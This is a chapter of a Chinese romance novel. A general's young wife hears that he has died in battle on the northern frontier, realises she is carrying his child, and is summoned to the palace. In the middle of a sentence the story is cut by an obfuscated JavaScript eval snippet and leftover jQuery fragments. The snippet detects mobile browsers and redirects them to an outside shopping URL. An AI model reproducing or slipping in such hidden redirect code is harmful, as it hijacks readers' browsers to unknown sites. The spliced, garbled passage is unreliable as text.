信鸽从北境飞回京城的那天，京城正在落第一场雪。
十月的雪来得早，纷纷扬扬地洒下来，将军府的青瓦覆了一层薄白。晏青禾坐在暖阁里，手里捧着一碗热腾腾的姜枣茶，小口啜饮，脚边搁着一只滚烫的手炉，春苔替她掖了掖膝上的毯子。
她近来困得厉害，整日里昏沉沉的，闻不得油腥，闻见了便犯恶心。春苔以为是天凉着了胃，请了府医来看，府医诊了脉，说夫人身子无碍，许是入冬体虚，开了几副温补的方子便罢了。
晏青禾自己也觉不出什么不对，只当是换了季节，身体一时没缓过来。想起前些日子顾延章离京前那些没轻没重的折腾，她耳根子有些发热，心想大约是那阵子累着了，养养就好了。
顾延章是九月初走的。
北境起了战事，鞑靼人秋日犯边，连着抢了三个镇子，烧了粮仓，杀了驻军，边关的折子一封接一封地递进宫里。皇帝召顾延章入宫商议，第二日圣旨便下来了，命顾延章率三万兵马驰援北境。
走的那日是个晴天，晏青禾起得比平常早，替他系了铠甲上的束带。那束带沉得很，顾延章生得又高大，她踮着脚才够得着。顾延章也不说弯一弯腰，反而把她拦腰抱起来，在脸上吻了好几口：“顶多两个月就回来了。”
她红着脸点了点头，手指在他腰间的革带上打了个结，又拆开重新系了一遍，总系不好。
顾延章捉住她的手，放到嘴边亲了一下，“别系了，再系天都黑了。”
晏青禾便不系了，把脸埋进他胸口，不大精神地说了句“早点回来”。顾延章低头在她额头上吻了吻，又在她嘴唇上啄了一下，说“知道了”，便大步走了出去。他上马的动作利落得很，翻身上去，勒住缰绳回头看了她一眼，笑了一下，扬鞭策马而去。
晏青禾站在府门口，看着他的背影越来越远，那匹枣红色的战马驮着他，转过街角便不见了。
那时候她只觉得心里头空落落的，并没想过别的。
她正出着神，院子外头忽传来脚步声，不止一人，有人在低声说话，乱糟糟的听不清内容。
晏青禾放下茶碗，看了春苔一眼。
春苔会意，起身走到门口，掀开帘子往外看了看。外头的雪下得密了，院子里灰蒙蒙的，春苔看了两眼，回头道：“是王管事，领着几个人，往正厅去了。”
晏青禾点点头，王管家管着府里上下的事务，每日都有这样那样的事要禀报，脚步急些也不稀奇。
她又端起茶碗喝了一口，舌尖尝到姜的辛辣和枣的甜，温温热热地顺着喉咙滑下去，胃里熨帖了不少。
可那阵脚步声过去没多久，外头又响起了新的动静，这回是有人在跑，一路往这边来了。春苔再次掀帘去看，脸色变了，回头道：“夫人，是……是王管事。”
王管事的脸色比雪还白。
他站在院子门口，没有进来，身上落了一层薄薄的雪，肩头和帽檐都白了。他张口想说什么，嘴唇动了几下，没发出声音，好一会才挤出一句话来，声音嘶哑得像劈了嗓子：“夫人……将军他……”
晏青禾手里的茶碗“当啷”一声落在桌上，茶水泼了一桌，她的手指哆嗦着，一把按住桌沿站起来，膝盖撞在桌腿上，她不觉得疼。
“将军怎么了？”
王管家的嘴唇抖了又抖，最后低下头去：“将军……战死了。”
晏青禾觉得自己应该是听错了。
也许是雪下得太大，风声太响，把王管家的话吹散了，她没听全。她盯着王管家那张煞白的脸看了许久，又转头去看春苔，春苔的嘴唇在抖，眼眶红了一圈，眼泪已经在里面打转了。
“你说什么？”晏青禾的脑子嗡了一下，“你再说一遍。”
王管家抬起头，老泪纵横：“夫人，北境来的军报，将军在阵前中了流矢，坠马……坠马之后被敌军围困，亲兵拼死冲了三次都没把将军抢回来，等援军到的时候，战场上已经……已经找不到将军了。”
晏青禾站得直直的，面上一丝血色都没有了，嘴唇翕动着，好半天才挤出几个字：“什么叫……找不到？”
“军报上说，将军坠马之处被敌军踏过，尸身……尸身不知所踪，许是被敌军带走了，许是……乱了阵脚，混在泥土里寻不着了。”
她的膝盖猛地软了，往后退了半步，腰撞在桌沿上，桌上的茶碗晃了晃，又泼出些残茶来。春苔赶紧上前扶住她，她的手冰凉冰凉的，整个人都在发抖，却一滴眼泪也没有。
她不知道自己为什么哭不出来：“圣上知道了么？”
“已经报进宫了。”
春苔站在她身边，看着她这副模样，心里头慌得厉害，想劝又不知从何劝起，只能一遍遍地唤：“夫人……夫人……”
晏青禾没有应。
她的脑海里翻来覆去地转着同几个字——死了，死了，顾延章死了。那个天不亮就出门、深夜才回来、把她从椅子上捞起来抱着哄的人，那个替她擦眼泪、给她买糖葫芦、在桌下偷偷握她的手的人，死了。
没有了。
她的手指慢慢摸上自己的小腹。
那里还是平平的，什么也摸不出来，可她心里头涌上一阵奇异的感觉，像是有什么东西在里头轻轻动了一下。
她想起前些日子那阵困倦和恶心，想起府医说的话。
她应是怀了他的孩子。
这个念头冒出来的时候，她的眼泪终于落了下来，无声地往下淌，一颗接一颗。
她想告诉他，她怀了他的孩子，想在他回来的时候给他一个惊喜，让他知道他要做父亲了。可他不回来了。
他再也回不来了。
春苔看见她哭了，终于松了一口气，哭着蹲下来，握住她的手，“夫人，您哭出来吧，哭出来就好了。”
晏青禾摇了摇头，她用袖子擦了一把脸，把脸上的泪痕胡乱抹去，吸了吸鼻子，声音哑得厉害：“春苔，我……我怀孕了。”
春苔僵住了，抬起头看着晏青禾那张苍白得没有血色的脸，张着嘴好半天合不拢，“夫人……您说什么？”
“我怀孕了，”晏青禾神色恍惚，手按在小腹上，“前些日子犯恶心、犯困
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860926|211989||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，不是着凉，大概是有了。我原想着……等他回来再告诉他。”
春苔的眼泪猛地涌了出来，她扑过去抱住晏青禾的膝盖，哭得泣不成声：“夫人……夫人……”
晏青禾轻轻拍了拍她的肩，把涌上来的眼泪又逼回去：“别哭了，哭也没用了。”
她向来如此，遇到事情先慌一阵，慌完了便不知道该做什么了，只能等着别人来告诉她下一步该怎么走。
她不知道自己该为顾延章做什么，她不认识北境的路，那些打仗的兵，朝中那些大人物，她都不认识，她什么都不懂，什么都做不了。她甚至不知道自己该不该伤心。
顾延章待她很好，她心里是感激的，也是欢喜的，可他们才做了三个月的夫妻，他去边关两个月，真正朝夕相对的日子拢共也不过一个月。
那点伤心是真的，可她说不清那伤心究竟有多深，深到哪儿去。她只觉得心里空了一大块，风从那个缺口灌进来，冷得她打哆嗦。
这个孩子来得不是时候，可孩子终究是她和顾延章的孩子。顾延章不在了，这个孩子就是他在世上留下的最后一点东西了。
她想把这个孩子生下来。
可生下来之后呢？她一个人怎么养大一个孩子？将军府没了将军，还能叫将军府么？她一个十七岁的寡妇，肚子里揣着个遗腹子，以后的日子该怎么过？
这些问题在她脑子里转来转去，转得她头疼。她想不出答案，索性不想了。
“春苔，”她哑着嗓子道，“扶我进去躺一会儿。”
春苔连忙站起身，用袖子擦了擦泪，扶着晏青禾进了内室。晏青禾脱了外衫，躺到床上，春苔替她盖好被子，又往手炉里添了炭，塞进她被窝里。晏青禾缩在被子里，望着帐顶。
她以为自己会睡不着，可她实在太困了，眼皮沉得睁不开，不知不觉便睡了过去。
第二天清早，春苔端着热水进来伺候她梳洗。晏青禾坐在床上发了好一会儿呆，才慢吞吞地起身。她的脸色比昨日更白了，眼睛底下青黑一片，嘴唇干裂起皮，整个人看起来憔悴得厉害。
春苔替她梳头的时候，手都在抖，梳了两次都没梳好，晏青禾便自己接过了梳子，对着铜镜慢慢梳。
吃过早饭，王管家又来了，手里捧着一沓文书，身形佝偻着，看着一夜间老了十岁不止。
“夫人，宫里的旨意下来了。圣上追封将军为镇北侯，赐谥号‘忠武’，丧仪按侯爵之礼操办。圣上还说……说夫人是忠武侯遗孀，明日宫中设宴，请夫人入宫赴宴。”
晏青禾愣了愣，“宫中设宴？”
“是。”王管家低头道，“圣上说，将军为国捐躯，夫人是功臣遗孀，理应入宫领受抚恤。明日午时，宫里会派人来接。”
晏青禾垂下眼，看着自己放在膝盖上的手。她不想去。她谁也不想见，哪儿也不想去，只想缩在这间屋子里，把被子蒙在头上，一个人待着。
可她知道自己不能不去。那是皇帝的旨意，没有人能抗旨不遵，她更不能。
“知道了，”她说，“替我备好衣裳吧。”